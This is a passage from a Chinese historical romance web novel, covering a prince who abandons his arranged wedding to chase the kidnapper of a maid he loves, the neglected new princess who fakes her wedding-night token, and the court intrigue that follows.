“云儿”站在一旁看了半天也不知到底发生了何事的轩辕玥此时上前倚在榻边,拉着衣上云的手,甚是担忧地轻声呼唤着她的名字。

秦王大婚,秦王府里道贺观礼的王公大臣自是无一人缺席的,早早的就都到达府邸静候着吉时的到来。

而此刻,刚回到承华殿书房的轩辕翰负手身后、凭窗而立、身姿挺拔、伟岸如山、尊贵威严、睥睨天下,一双深邃的双眸望着衣上云所在阁楼的方向。

眼看吉时已近,轩辕翰却始终都还尚未更换上大婚的喜服,程良已多次提醒,他总是看都不看一眼。此时他又一次来到轩辕翰身边,看着这个主子却是一脸的无奈,他从小就跟着轩辕翰,怎么会不知道轩辕翰此时复杂的心思。

可是,这是璟帝赐的婚,也是他当时默许了的。可如今,明显却为了这个丑丫头,完全乱了这个主子一向的冷静与理智。

不得已,他只能......

第三十五章:大婚,谁来亲迎

这可是璟帝赐的婚,也是主子当时默许了的。可如今,明显因为这个丑丫头的出现,完全乱了这个主子一向的冷静与理智。

不得已,程良只能移步向轩辕玥求救,让她来劝试试。

“秦皇叔,吉时已到,快更衣吧。”很快轩辕玥便进到大殿内劝道。

见其不动声色,年纪轻轻的她微微摇头轻声叹了口气稍加思索继续道“秦皇叔,玥儿和云儿昨日到驿馆,见到未来皇婶亦是倾国倾城,端庄贤淑之女子。她一个弱女子千里迢迢自此远离故土与亲人,刚至我西秦大地却又病倒,皇叔既早已对赐婚有所应允,如今已到这个时候了,也莫要辜负了她的一片心意”。

听到此,终于轩辕翰的眉眼微微闪烁了两下深吸一口气,好似刚从梦中清醒过来般。随即便转身朝配殿进去,程良看见急急端起大婚喜服紧随其后。

轩辕玥看着轩辕翰离去的背影,心里不禁变得越加沉重起来。口中喃喃道“谁说自古君王多无情,云儿对于秦皇叔,显然已经成了他的软肋”。

大婚前几日,作为喜房的轩辕翰的寝殿林月轩已经完全布置好,但按照老祖宗传下来的规矩不到新娘子进门入洞房时分,暂时他是不能独住喜房的,于是这几日他便搬到了承华殿的配殿里。

就在程良正伸出手要替轩辕翰宽衣解带更换大婚喜服的时候,忽然传来窗外一声婢女急呼的尖叫声“啊,有刺客”。

轩辕翰正无精打采若有所思低垂着眼迅速抬起朝程良一怔,程良亦是同样一愣,四目相对后,轩辕翰便以迅雷不及掩耳之势先飞步夺门而出。

配殿后院里,轩辕翰一现身,只见一个身姿挺拔眉眼甚是妖艳的黑衣蒙面男子双手横抱着尚还在昏迷当中的衣上云。蒙面男子狠狠地看了轩辕翰一眼,随后便迅速以一身极好的轻功跃上了承华殿的屋顶,紧接着便急急逃离秦王府而去。

轩辕玥此时亦是听到门外婢女的叫喊声神情慌张地踱步而出,却只见到轩辕翰身影一闪,亦是跟随着蒙面男子踏空而去一起消失。

“秦皇叔......”轩辕玥急急正想说话,却还是晚了一步。她眼神焦怒地看向方才喊叫的婢女道“大胆奴才,到底发生了何事竟如此慌乱”。

婢女一看到轩辕玥大怒,方才醒了神来立马“扑通”一声重重地双膝跪倒在地,只是好像直到现在还心魂未定的样子。

她怯怯地低着头禀告“禀公主,方才奴才本要送药进去给衣药女服用,谁知刚进门便看到一个黑衣蒙面男子坐在衣药女榻边,奴才便立即退出来喊人,那男子一见奴婢喊叫似是也被惊到,竟将衣药女横抱起来掳走了,紧接着秦王殿下冲了出来,然后俩人就都......”。

轩辕玥听后心急如焚又抬头看了看天色,心想“到底是谁掳走了云儿,这眼看吉时已到花轿就要上门了,这可该如何是好?”

轩辕玥着急地在殿内来回踱着方步,片刻后,她忽然停住脚步眼神一定似是已有了对策,便立刻叫人过来。只见她侧身对其耳语片刻后道“速速赶去告知迎亲大臣,切记不要惊扰了王妃娘娘”。

一边的奴才得令后急急出了门。

今日秦王大婚,却俨然一幅普天同庆之势,附近街市上的商贾早已在前几日起便在自家商铺门口高高挂起了大红灯笼以示恭贺。今日吉时更是四面八方响天的炮仗声连续不断。

秦王府周围各要道也早已是万人空巷,男女老少纷纷走上街头蜂拥至此等待着观看这场盛世御赐良缘。

秦王府门前人头躜动,正就这场婚礼议论纷纷着。

而同样闹哄哄一片喜庆连天着的驿馆碎玉轩里,陪嫁的赵嬷嬷正在给梅汐媛做着出嫁前最后的梳妆打扮。

梳妆桌上搁置着一面精致的铜花镜,镜中的女子巧笑倩兮,美目盼兮、闭月羞花、含苞待放、静影沉璧、倾国又倾城。

赵嬷嬷手里拿着篦子一下一下地梳着她那乌黑发亮的一缕缕青丝,口里念叨着:

“一梳梳到头,富贵不用愁”

“二梳梳到头,无病又无忧”

“三梳梳到头,多子又多寿”

“再梳梳到尾,举案又齐眉”

“二梳梳到尾,比翼共双飞”

“三梳梳到尾,永结同心佩”

“有头又有尾,此生共富贵”

赵嬷嬷是梅汐媛的奶娘,此时她的眼里满是慈祥与疼爱和不舍,不禁眼里充满了激动的泪水。

“嬷嬷莫要难过,你会一直陪着我的,不是吗”梅汐媛见了转身拉着她的手说道,赵嬷嬷听了却只是颔首仍然说不出话来。

“吉时已到”

就在这时传来门外一声催促的声音。

赵嬷嬷赶忙拭了拭泪痕,最后将一大红龙凤刺绣纹案的盖头最后替她轻轻掩上。

紧接着说道“公主,吉时已到,该上花轿了”赵嬷嬷递上了一面五彩雀扇到梅汐媛的手里,梅汐媛颔首伸出玉手接过。

此时,她的哥哥东宁国三皇子梅志煊便上前来到她跟前将她一路抱上花轿。

至此,东宁国送嫁的队伍已经完全顺利地完成了送嫁任务与西秦迎亲大臣交接完毕后,预备启程回东宁了。

“起轿”随着喜婆这一声响起,盛大壮观的迎亲队伍开始从驿馆浩浩荡荡地出发前往秦王府。

两头“狮子”在一颗朱红色龙珠的牵引下跳上窜下地嬉闹着,钟鼓乐声震天大作,途经之地炮仗声噼里啪啦四起、热闹非凡。

八抬大轿上大红龙凤刺绣纹案盖头下的梅汐媛,凤冠霞帔,一袭红妆喜气无比,套穿着极致奢华精致的凤尾裙礼服,衣襟上缀着寓意多子多福的极品红缎地“葫芦万代”上轿荷包,正满腹憧憬着即将拥有世间最尊贵的男子带给她最美满的幸福婚姻。

而就在此时,迎亲大臣忽然惊慌失色道“什么?那接下来的踢轿门和亲迎事宜该如何处理”显然,来人禀报了秦王殿下已不在秦王府不知所踪的消息给他。

“大人稍安勿躁,公主殿下已经处理妥善”来禀报的人急急答道。

“真是胡闹,这秦王也太胡闹了,都这个节骨眼儿上了,此事怎能儿戏,那可是东宁国的和亲公主啊”迎亲大臣愤怒而又无奈地摇摇脑袋,唉声叹气道。

忽然旁边看热闹的人群里有个妇人对旁边的人碎语“你说这天气前几天还好好的,怎么昨夜里就飘雪了呢?”

“飘雪怎么了”旁边的人好奇地问。

“你没听人家讲吗,雨里的夫妻泪交流,雪里的夫妻不到头”

“嘘,小声点,你别瞎说,这可是当今圣上御赐的金玉良缘呐”众人都被妇人的话吓到,又拼命都点着头看着劝说的那个人。

随花轿一边路过的赵嬷嬷听见了,朝着人群狠狠瞪了一眼过去,生怕被花轿上的梅汐媛听到。

许久后,终于花轿临门。秦王府正门大开,众人却久久唯独不见秦王殿下出门相迎。

就在众人都议论纷纷时忽闻一声“皇后娘娘嫁到”

众人闻之皆俯首跪拜“恭迎皇后娘娘,娘娘千岁千岁千千岁”

只见轩辕玥双手扶着一身雍容华贵母仪天下的西秦国母从秦王府内缓缓走了出来。

走到秦王府正门口后,皇后端庄威严地说道“都平身吧。今日乃秦王大婚之日,却突逢紧急国事,身为亲王自当以国事为重。故本宫今日亲自前来迎秦王妃进门,以示我西秦皇恩浩荡”。

下跪众人均瞠目结舌,亦深感秦王实乃国之重臣。即便大喜之日,也以国事为先,有此敢于担当以天下子民为重之王爷,实属百姓之福,西秦之福。随后众人均鼓掌叫好。

这时,两位喜婆才急急上前将新娘子小心翼翼地搀扶下轿,缓缓走上石阶一步一步迈过秦王府正门门槛,跨过火盆后被送往喜房。

沿途众人皆向其身上撒着各种五谷杂粮以示驱赶邪煞之气。

一番好生折腾,终于梅汐媛进到了轩辕翰的寝殿明月轩,大婚的喜房。

至此,轩辕玥悬着的一颗心终于落了下来。

“到底发生了何事?秦王到底去哪儿了?”此时皇后才怒色着一本正经的问起轩辕玥。

轩辕玥见此事自己扛不起,便命人匆匆去请了母后出宫摆驾秦王府做主,皇后闻讯甚是惊讶,急急赶来。

这时轩辕玥看着皇后发怒的表情,她还哪敢说秦王是为了追一个小药女而误了吉时呢,最后嘴里只是吱吱呜呜地搪塞了一句“回母后,皇叔本来已经是在更换喜服了,谁料出现了一个刺客,他就追着刺客走了”。

轩辕玥低着头说完偷偷抬眼看了一眼皇后,皇后显然也对秦王此举颇感怪异。

皇后心想着,秦王一向沉着冷静,为何今日会有此异于常态的行为,此乃与东宁国公主和亲的大事,事关国家社稷,两国友好。虽然自己今日以贵为皇后的身份亲自前来替他扯谎堵住了这悠悠众口。但是如果东宁公主事后追究,那可不是闹着玩的。

“唉......这个秦王”皇后露出一脸的担忧,如今也只能化作一声无奈的长叹。她也只能做这些了,剩下的就要看天意了。

第三十六章:今夜,红烛为谁燃

“唉......这个秦王”皇后露出一脸的担忧,如今也只能化作一声无奈的长叹。她也只能做这些了,剩下的就要看天意了。

“你也莫在宫外发疯闲逛了,今日早早准备随本宫回宫。堂堂西秦国公主,整日在外胡乱游逛惹是生非,传出去成何体统”皇后忽然训斥起了轩辕玥道。

“是,儿臣遵命便是”轩辕玥无奈只得瘪着小嘴心里却一万个不情愿地说道。只是还在怀疑担心着“云儿到现在还没有消息,也不知道秦皇叔到底追到刺客了没有,有没有救到云儿了。云儿身份单纯,这刺客掳她做什么呢?

夜已深,秦王府里参加大婚观礼道贺的宾客们也都陆续着纷纷散去,秦王却自始至终都没有出现在宴席上。

此时在喜房明月轩里,一室通红,喜庆无比。

桌案上一对火红的龙凤红烛烛火正摇摇摆摆随风起舞着。

“鸿雁衔书,鱼传尺素”,宫里还特别为这场大婚定制了数套做工精细的雁鱼灯让殿内渲染散发出浓浓的浪漫情愫。

寝殿内,梅汐媛正头盖着那龙凤刺绣纹案的大红喜帕,独自端坐在榻边,满心欢喜地静待着她期盼已久的如意郎君前来将它掀起与她合卺共饮,执子之手与子偕老。

所谓“十里不同风,百里不同俗”梅汐媛自不是特别清楚西秦国的婚俗,此刻她只知道满腹相思与期盼的自己怀着一腔热忱已经进了秦王府的大门,入了秦王轩辕翰的寝殿,成了世间所有女子都梦想着的秦王妃。

而此刻便是她期待已久的洞房花烛夜。

今夜,红烛只独为她而燃。

......

是夜,城中一座偏僻幽静的民宅里,昏暗的烛火下,衣上云正安安静静地躺在床榻上昏睡着。

一个身着紫装墨发半束的男子,正坐于榻前拿出一神秘的玉色药瓶落在衣上云瘦小的面庞前。

只见该男子一将手中的玉药瓶瓶盖打开来,便立刻散发出一阵阵如烟似雾的紫色气体被衣上云的七孔穴位瞬间吸入。

随后就听到男子用极尽温柔的声音轻声唤道“丫头,丫头”

这时衣上云方才缓缓将紧闭的双眼张开来,她的眼睛一全部张开来便立刻发现了眼前出现着的是一个她再也不能熟悉的脸孔。

“三少”竟是易三少易君浩。

“怎么是你”

“这里是哪儿”

“我怎么会在这”

衣上云刚醒,还是有些昏沉沉。她缓缓起身目视了一下周围,这并不是她熟悉的地方。她有些苍白无力慌忙地问道。

“丫头,你放心,这里很隐蔽,不会有人发现”。

“三少,我怎么会在这儿。秦王大婚,我不是陪玥公主在秦王府观礼吗?”衣上云虚弱而又着急地问。

“丫头,你可知道,今日要不是我,你恐怕又要像以前在衣府过去的那年一样昏迷下去了”易君浩有些抱怨生气地说道,他总是预感这丫头和那什么秦王在一起,总是没有什么好事。

衣上云见易君浩气恼了,随着话语里便带了许多诚恳的说“三少,我知道你一直都对我甚好,云儿谢谢你”。

“光说谢有什么用,我易君浩又不缺这几个字”易君浩那貌似炮仗的脾性再次发作,一脸不悦地快速起身来甩了一手衣袖脱口而出了这一句更似抱怨的话。

衣上云却自问一直以来易君浩都给予自己无尽的帮助,而自己除了说感谢以为也着实无其它可以表达的,看到易君浩对她更恼了,只得低下头来生出一脸的失望和惭愧沉默起来,不再言语。

易君浩亦似是发现自己无心之言语中伤了衣上云,便即刻改变脸色道“好了好了,我想我易三少肯定是上辈子欠你的,这辈子老天罚我来还债。罢了,如今只要你醒了,比什么都好”。

衣上云听到易君浩好转了言语的口气,方才重新抬起头对着他轻轻笑了笑。

“红颜一笑值千金”易君浩也回她以相视而笑莫逆于心。

程良看到轩辕翰独自追逐刺客而出,便也匆匆带了数名王府暗卫追随出来。

此时已汇同轩辕翰一起追了小半个皇城至此,却忽然不见了挟持衣上云的刺客踪影。

“给本王挨家挨户地搜,就算掘地三尺也一定要把衣药女毫发无损的找出来”轩辕翰似怒发冲冠地下令道。

程良见势急急领命部署人马分头行动。

而轩辕翰朝着四下里眼神一扫,竟发现了在街角的一座极其隐蔽的民宅门口,一棵白玉兰花树下落了一支女子的银簪。

他走过去轻轻拾起,是支嵌着两朵桃花的长流苏簪子。仿佛在哪见过,于是,便伸手推开了民宅的大门,跨过门槛走了进去。

衣上云忽闻院子里“吱呀”一声,便朝易君浩道“好像有人进来了”。

随即很快便传出来了似是男人的脚步声,易君浩立马飞步到窗前向外窥视。一看见来人便口中气愤着喃喃道“果然又是那个冰块脸,怎么都甩不掉,就像狗皮膏药一样难缠,这般隐密之地也能找到,看来我还真小看他了”。

他快速过去将衣上云从床榻上揽起,却不想衣上云迅速起身下榻后终究体力尚未恢复,一个踉跄险些跌趴在地,易君浩瞬势将其揽腰拥紧贴至自己身前来。

而恰在此时,轩辕翰推门而入。见到易君浩揽着衣上云的小蛮腰贴在自己身上,他双眼立马瞪大一寒,充满了十足渗人阴冷的杀气。

只见他迅速扬起刚进门时手中早已预备好的佩剑,朝着易君浩正中方向不偏不离的刺去,而衣上云见势更是伸出双臂急急一个转身用自己瘦小的身躯恰好挡在了易君浩的前面。

轩辕翰见她以已身似是本能的替易君浩正面挡剑立马剑锋偏转却已然来不及,剑尖直刺入了衣上云的肩部,鲜血瞬间从她那单薄而又陈旧的冬袄里渗了出来。

“丫头”易君浩瞪大了眼睛吃惊地大叫。

轩辕翰亦是大惊失色,连忙拔剑上前去一把将她的身子夺回拥住紧紧揽入怀中。

“殿下,不要杀他,让他走”衣上云落地的第一时间里竟然还是在帮易君浩求情。此时她脸色煞白瘫坐在地上,轩辕翰揽着她心疼异常地看着怀中的人儿。

只见他抬眼却没有看向易君浩,只怒声道“还不快滚,等本王后悔吗?”

衣上云一只手捂着剑刺的伤口,眉心皱起用几近哀求的眼神望着易君浩示意他速速离开。

外面程良等人亦是听到这边的动静声,正急急赶过来。

易君浩意识到这种形势对自己很不利,于是瞪大眼睛皱了下眉便无奈地快步夺门离去。衣上云亦是终于耐不住这接连而来的伤害再度晕了过去在轩辕翰的怀中。

“云儿,云儿”轩辕翰见她已然昏迷,一脸担忧地呼唤着。

“殿下,属下来迟”程良带人一进到屋内,便看到衣上云肩部的一大滩鲜血淋漓惊道。

轩辕翰将她一把横抱而起,一出门便揽着衣上云急急上马朝着秦王府策马而去。程良一脸惊愕,亦紧随而归。

不知不觉,天已经快亮了。

秦王府轩辕翰的寝殿明月轩里,梅汐媛依旧端坐榻边等着她的夫君。

她已经整整等了一夜,等他回来与她共饮合卺酒,然后洞房花烛。

忽闻“吱呀”的开门声,她欣喜着重新整理端坐好。

只见赵嬷嬷走了进来,一个晚上她已经进进出出数回了。每次梅汐媛都闻声会重新整理端坐好,但每次到最后都只是赵嬷嬷而已,随即便都只是她失望着叹气不语。

“王妃,歇息一会吧”赵嬷嬷心疼地安慰道。

见梅汐媛不出声,赵嬷嬷便怒道“这个西秦秦王,真是太过份了。大婚之夜,竟敢如此怠慢我东宁国公主,老奴一定要将此事禀告陛下和皇后,让他们做主”。

“赵嬷嬷,万万不可”梅汐媛坐了一晚上,此刻终于开口说话了。

“公主,昨日大婚,西秦秦王不出面亲迎也就算了,洞房花烛夜竟然连面都不露,这如何让人能忍?这不是诚心给公主难堪,给东宁国难堪吗”赵嬷嬷气道。

“赵嬷嬷,既然西秦秦王八抬大轿已经将本公主迎入秦王府,本公主又怎么能轻易再出去。况且既然已经入了喜房,不管怎么说,我和他都已算是夫妻,夫妻之间的理又如何理得清呢”梅汐媛意味深长地说着。

“可是公主,您自小到大只受过万千宠爱,何曾受过这般委屈呢”赵嬷嬷义愤不平地边说边拭起心疼的眼泪来。

“嬷嬷不必多说,人总归要学着长大,也必须长大,本公主总不能永远被父皇母后捧在手心里宠溺一辈子。我和秦王来日方长,又或许他真的是被什么事牵绊住了也未可知?”梅汐媛还存着一丝希望的自我安慰着。

随后,只听到屋内赵嬷嬷的一声长叹。

红烛燃尽,终于天亮了。

梅汐媛自己掀掉头上盖着的龙凤刺绣纹案大红盖头,缓缓抬起头来。

终于看到了这个让她无数个日日夜夜里魂牵梦绕的寝殿,尊贵、庄严、又不失舒适与奢华。

她轻轻挽起袖子来,久久触摸痴痴地看着玉臂上那红点,那颗耀眼的朱砂痣。

陪嫁的侍婢正在赵嬷嬷的陪同下贴心的帮梅汐媛褪去极致华贵的大婚妆容,准备着稍后进宫面见西秦太后谢恩。

忽然,她拿起床榻上的那方洁白无瑕的落红白帕凝视了许久后,交给赵嬷嬷,赵嬷嬷伸手接过去颔首收好。

这方落红白帕等会......

第三十七章:落红帕

这方落红白帕按照规矩等会儿可是要面见西秦太后的时候给她老人家亲自过目验收的。

见赵嬷嬷将落红帕收好,梅汐媛一双迷离的眼睛望向了桌上的那壶合卺酒。只见她缓缓起身来朝着走过去,倒了一杯拿起来打量了好一会儿,之后将其一饮而尽。

明明就是生来最不喜欢这种东西,然此刻却露出一脸心碎的苦笑来。

“公主......”赵嬷嬷看着她此时的模样还想劝却是话到嘴边又咽了下去,站在一旁心里更是难受了。

秦王府云水阁里,衣上云安静地躺在床榻上昏睡着。

好像每次到秦王府她总是伤痕累累,此时轩辕翰就坐在她的榻边目不转睛一脸担忧和自责的凝视着她。

看着看着他忽然对着病榻上的衣上云自言自语道“你为何要如此拼命地护他,难道他真的是魏明轩?他真的对你那么重要?你可知道,如果本王的剑再快半分......”

他到现在都还后怕着,说到这里他长舒一口气顿了一下,片刻后又接着说“本王知道他是你喜欢的人,又怎么可能真的杀他,本王只是很生气......很生气”

然而,他在气什么?气为何他没有比魏明轩先出现在她的生命里?气她为何到现在丝毫不明白他的心意?气竟有另一个男人拥她入怀?还是气他自己没有勇气面对那男子到底是不是她高烧昏迷中口中喃喃的魏明轩?

他的确没有勇气,因为他怕。

他怕答案是他不想要的那种。现在这样,至少他还可以当做什么都不知道,和她坦然相处。如果他知道了那就是魏明轩,那他又怎么可能继续当做视而不见听而不闻呢?!

“殿下,太医说衣姑娘已无大碍,殿下还是休息会儿吧”程良走进来看见主子这般心疼的模样关心道。

见主子无动于衷,他硬着头皮继续劝“殿下已经这样看着衣姑娘一整夜了,稍后还要同王妃娘娘去宫中谢恩呢”

轩辕翰听到程良说“王妃娘娘”这才眼睛微微眨了一下,似乎才刚想起秦王府已经有了一位王妃了。

程良看到他已有所动容,接着又小心翼翼地提醒暗示道“殿下,昨日大婚......王妃娘娘等了你一夜。还有亲迎的事,昨日是玥公主请了皇后娘娘来才......”程良话还没说完就看到轩辕翰投来寒光四射怒目的眼神,便悄悄收了声。

程良心里还在暗自嘀咕着“昨日明明是主子大婚的大喜之日,可他却连喜服都没有穿,看来他是真的没有将这赐婚当回事啊,亏得宫里还命人把喜服制的巧夺天工”

轩辕翰回头替衣上云掖好被角又再次凝神看了看她,还好王府太医的医术和药材都算是上等,她的脸色已经有些起色。此时才似是安心了些缓缓起身来出了门,走到门口时冷冷丢给程良一句“吩咐张嬷嬷过来照顾好她”

“是”程良领命,随即回头看着榻上昏睡的衣上云露出一脸无可奈何的表情。

他想,主子到底要对这个丑丫头这样暧昧不明到什么时候。嘴里喃喃了一句“既然喜欢,为什么不说出来呢”

秦王府承华殿里,轩辕翰在桌案边的坐榻上斜靠着刚眯了一小会儿,便被守在殿外的程良匆匆进来唤醒“殿下,王妃娘娘来了”

轩辕翰听了眼睛轻轻张开来端坐起,只见梅汐媛正缓缓迈着优雅的步伐走进大殿来,一身的雍容华贵,彰显着秦王府女主人的气势。

“臣妾参见殿下,殿下何时回府的,昨夜臣妾等了殿下一晚上”梅汐媛一来到大殿轩辕翰面前便满脸笑容的欠身行礼道。

“昨日之事...”轩辕翰一脸往日的严肃正想对昨天的事稍作解释,毕竟她是东宁国公主,不是西秦普通贵族之女,有些客套话还是得他自己说的,毕竟这桩赐婚他确实是有所应允在先的。

谁知梅汐媛却急急抢了话过去“殿下不必同臣妾解释。臣妾深知殿下乃西秦秦王,西秦国唯一的亲王,皇上唯一的亲弟弟。故帮辅皇上为西秦百姓日理万机,臣妾自当理解并全力支持。臣妾只望殿下百忙之中也要注意保重自己的身体才是”

这个女子竟然对昨日之事如此态度......,轩辕翰正在往下思索,梅汐媛又开口道“殿下,时辰不早了,这会儿臣妾该陪同殿下去宫里向太后娘娘请安谢恩了”

于是,两人同乘一辆豪华安车往皇宫方向而去,轩辕翰一如往日里端坐着自顾闭目养神。

梅汐媛第一次这么近地靠着自己心心念念的夫君,此刻坐在他的身边,她才细细打量观察起这个对她而言尊贵而又优秀和神秘的男人。

原来他比自己在东宁国所听闻的西秦秦王英姿飒爽年轻有为更要优秀俊美百倍千倍,尤其是他现在安静下来的时候,简直如同神抵,尊不可犯。

梅汐媛不由得心里窃喜,此生能嫁给世间这样优秀的男子,她这辈子也算无憾了。而日后她定当全力与他培养感情,为他生儿育女,做一对恩爱夫妻。

很快,车子便到了西秦皇宫门口。

梅汐媛第一次见到西秦皇宫,没想到西秦皇宫宫殿竟高出地面数米,俨然一幅居高临下,气势非凡。

西秦皇宫虽不比东宁皇宫规模庞大建造布局装饰奢华,却到处尽显出一股博大精深的中原壮丽之气,让人肃然起敬。

很快,她便跟随着轩辕翰来到了太后宫殿——永安宫。

此时,殿内一脸慈祥和蔼的太后和一身雍容华贵的皇后还有其他各宫妃嫔、贵人、朝廷重要的命妇,可谓是应有具有。

得知今日秦王会亲自携带新人家眷秦王妃前来觐见谢恩,众人已经早早约好至此地等候着,齐聚一睹西秦国最高冷尊贵秦王的王妃风华绝代的风采。

轩辕翰一进门便行礼道“儿臣给母后请安,皇嫂万福”

梅汐媛亦跟随道“臣妾给母后请安,皇嫂万福”

“赶紧起身来让哀家好好瞧瞧这个东宁国大美人,来人,赐座”太后一脸欣喜地一边说一边伸手过去捉住梅汐媛的一双纤纤玉手,皇后跟随颔首微笑着。

二人刚入座好,在场的所有妃嫔、贵人、命妇们全部皆都起身恭恭敬敬地行礼道“给秦王殿下请安,秦王妃万福”

梅汐媛看见随即感觉到自己所嫁之人身份不是一般的高贵,顿时露着一脸的自豪。

“秦王,你母妃走得早,如今哀家和皇后许给你的这个东宁国大美人,可还让你称心如意?”太后一脸慈祥地看着轩辕翰说道。

梅汐媛听了太后的问话也向他投去好奇的眼光,迫切地想知道秦王对她的态度。然只见轩辕翰仍一脸严肃地答道“儿臣谢母后关怀,皇嫂费心了”

“你如今虽身担国家要职日理万机,皇帝对你委以重任,只是也不能委屈了这个王妃才是”太后继续似是提醒的说道。

秦王大婚并未亲自迎新人进门,此等大事皇后自是不敢对太后有所隐瞒。但太后也要顾忌社稷安危,此番言语虽未挑明,但是也是给秦王一个提示,不可轻易怠慢了东宁公主。

“儿臣谨记母后教诲”轩辕翰则是以惯用的冰冷语气回应着。

就在这时,老嬷嬷手里端着一个精雕的方形木盘走到太后面前,木盘里放着的正是今天这个聚会的重头戏——落红白帕。

落红是处子之血,是一个女子初次洞房落下的血,代表着一个女子最珍贵的贞洁。凡是洞房未有落红者均会被视为不贞不洁之身,轻则被人耻笑看不起,一辈子抬不起头,重则累及性命。

落红白帕,又是洞房花烛夜圆房的必备物品,用以检查新人是否完璧之身。

此时,轩辕翰眼睛一怔正想开口说些什么,却被老嬷嬷抢了话先“这是新人的落红白帕,请太后娘娘查验”

太后见此,笑了笑说“东宁国公主出身高贵、冰肌玉骨、端庄贤淑、哀家相信她自是冰清玉洁。只是这是老祖宗世世代代传下来的老规矩,所以哀家还是得过过这个场面,以免日后落人口实”

说完便伸出手挑起了那方洁白无瑕神圣的落红帕,于是众目睽睽下便现出了一抹刺眼的鲜红。

众人皆目瞪口呆,不约而同地看向了轩辕翰和梅汐媛。梅汐媛惺惺作态出一副羞涩难以言表的姿态低头静静端坐着。

而当片刻后众人的眼光不再聚集在他们俩身上的时候,她方才看向了正坐在自己身旁的轩辕翰。

“不敢相信秦王殿下这种禁欲男神也会近女色”

“他竟然真的宠幸了这个异国公主,那可是万年冰山的秦王殿下呀!”

“这些年有多少朝中大臣想要将自家的小姐塞进秦王府,哪怕是得个侧妃侍妾也是好的,但秦王就是恍如谪仙般无心下凡。”

“莫非是这个永乐公主真的以倾国倾城之貌融化了秦王殿下这座大冰山。看来这个东宁公主着实不简单呢”

“要我说啊,这男人个个都是一匹深藏不露的狼,表面都只不过是伪装出来的罢了”

......

霎时间大殿里众人交头接耳,议论纷纷。

太后见此情景,与皇后颔首对视互换眼神,似乎亦是十分惊讶。

“秦王,既然你们情投意合,鹣鲽情深,如今也已正式圆了房成为夫妻,那日后定要竭尽全力为轩辕皇家开枝散叶才是”太后欣喜地训诫着新人夫妇。

而轩辕翰此时一头雾水,满脸凝重严肃之态,心想这落红帕到底怎么回事。似乎并没有认真听太后这句意味深长的训诫。

请安谢恩的事此时也就算完成了,正所谓三个女人一台戏,更何况是在这一群生性就爱兴风作浪的女人堆里,他早已听够了这些人交头接耳的闲言碎语。

这时轩辕翰起身来说道“母后,儿臣还有公务要忙,就先行告退了,该日再来向母后请安”

梅汐媛看到轩辕翰起身,紧随其后跟着也起来道“臣妾改日再来向母后问安”

“秦王辛劳,当心身子。如今有了王妃,日后王妃要多照顾着点”太后关切道。

“儿臣谢母后关怀”

“臣妾谨遵母后教诲”

说完,俩人便走出了永安宫,只留下了身后一殿皆惊讶万分的女人叽叽喳喳。

“殿下,殿下等等臣妾”梅汐媛迈着极快的步伐急急追着。

“那落红帕到底怎么回事”

......

第三十八章:蠢笨至极无药可救的女人

“那落红帕到底怎么回事”

轩辕翰一出永安宫便大步往出走着,听到梅汐媛呼唤的声音,方才放慢了脚步。

梅汐媛一追上来,便气喘吁吁地解释道“殿下,那是臣妾手臂上的血”说着便现出她白皙的手腕上一道还尚未结痂的伤痕。

轩辕翰压低眉毛怒目着只斜视了一眼便匆匆收回。

“殿下,若今日臣妾奉上的果真是纯洁无暇的白帕,那众人以后将会如何议论臣妾。臣妾千里迢迢离开东宁国故土来到西秦殿下的身边,日后又该如何在西秦立足呢?”

见轩辕翰不语,她又继续说“臣妾如今已然进了秦王府的大门,而今天这落红帕亦是向天下宣告了臣妾已是名正言顺名副其实的秦王妃,不是吗?”

梅汐媛字字铿锵,心里极其委屈却不得不勇敢地说出这些话来稍微缓解一下这两天她独自只能一人承受的苦闷心情。

这句话说出来是提醒轩辕翰,她这个秦王妃已然已经存在了。但同时更是说给自己,要想尽办法得到秦王的恩宠与垂爱,做一个真真正正的秦王妃。

轩辕翰听完梅汐媛这番话,竟一时无言以对。他想,可能是自己真的错了,一开始就错了。

但虽不想与她多做纠缠,也绝不放纵她肆意妄为,便怒眉狠狠说道“本王警告你,以后任何有关秦王府的事,本王决不允许你擅自做主”

说完便急急转身踱宫门而去,走了几步后忽然停住脚步连头都没回地又说“本王听闻玥儿说你身体欠安,从今日起你便搬往韶华阁居住,不必来本王寝殿伺候了”

梅汐媛听了心里顿感如晴天霹雳,但只能一脸无奈地望着他远去的背影,这才是他们大婚的第一天啊......

见轩辕翰离去,赵嬷嬷和婢女们才敢匆忙上前来,而只看到梅汐媛一脸的黯然神伤,赵嬷嬷只关切道“王妃娘娘,发生了何事”

梅汐媛像是瞬间跌落了冰窟,心灰意冷着,说不出话,只回了她一脸的苦笑来。

轩辕翰一出门便越上马背朝秦王府飞奔回去,此时他只觉得,眼前这个女人一点也不像方才王府里他想的那般简单,到底城府有多深......

“翰哥哥回来了”陆天骄看到轩辕翰下马来,急急走过来用那极其娇柔的声音迎接道。

“殿下大婚已成,我们正打算要回去了,学院事务繁多父亲今儿一早便已启程”陆天麟紧跟陆天骄之后亦走过来道。

“那件事你们查的如何了”轩辕翰前面一边朝承华殿走一边关心地问道。

“有父亲在,殿下尽管放心,一切都在计划中”陆天麟认真回答着。

就在快要到大殿门口的时候,轩辕翰突然停住了脚步,愣了一下像是记起了什么。便丢下一句“加快进度”便急急拐上了回廊往后院阁楼的方向而去,留下陆氏兄妹二人痴痴怔在原地。

秦王府云水阁里,衣上云早已苏醒,此时正发呆地转动着手腕上的七彩.金丝彩玉镯子端详着,独自喃喃“奇怪,这个镯子什么时候又现出一个血色纹路来,仿佛与上次不同”

她再仔细凝神一看,只见这次的形状好似一个“日”,这血色纹路依旧如同上次一样只是昙花一现后便瞬间消失。

她猜了半天也猜不透,索性便开始收拾东西准备告辞回宫了。

听到有脚步声传来,她急急回头转身看去。

“殿下”衣上云看到是轩辕翰进来便连忙欠身行礼。

“为什么不多休息会儿,你的伤可好些了”明明是温暖的一番关切,可轩辕翰进来却一脸冰冷地说。

“回殿下,奴婢已无大碍,多谢殿下这几日的收留,奴婢这就回宫去了”衣上云看到他如此冷漠的脸,便怯怯地回答。

听到这里,只见轩辕翰的脸色极致的阴沉难看,他此时的心情可一点都不好。

方才因为梅汐媛,现在眼前这个女人竟又如此蠢笨,竟然一点都感觉不到他的心意,就昨天被掳走的事到现在都连一句主动解释也没有,还想趁他不在的时候一走了之。

这时,他冷峻的双眸直直盯向她好看的一双凤眼,双手负后紧紧握成拳许久,而最终还是隐忍着缓缓松开。

衣上云仿佛并没有意识到他的愤怒,只是一脸狐疑地看着轩辕翰露着一脸的不解。

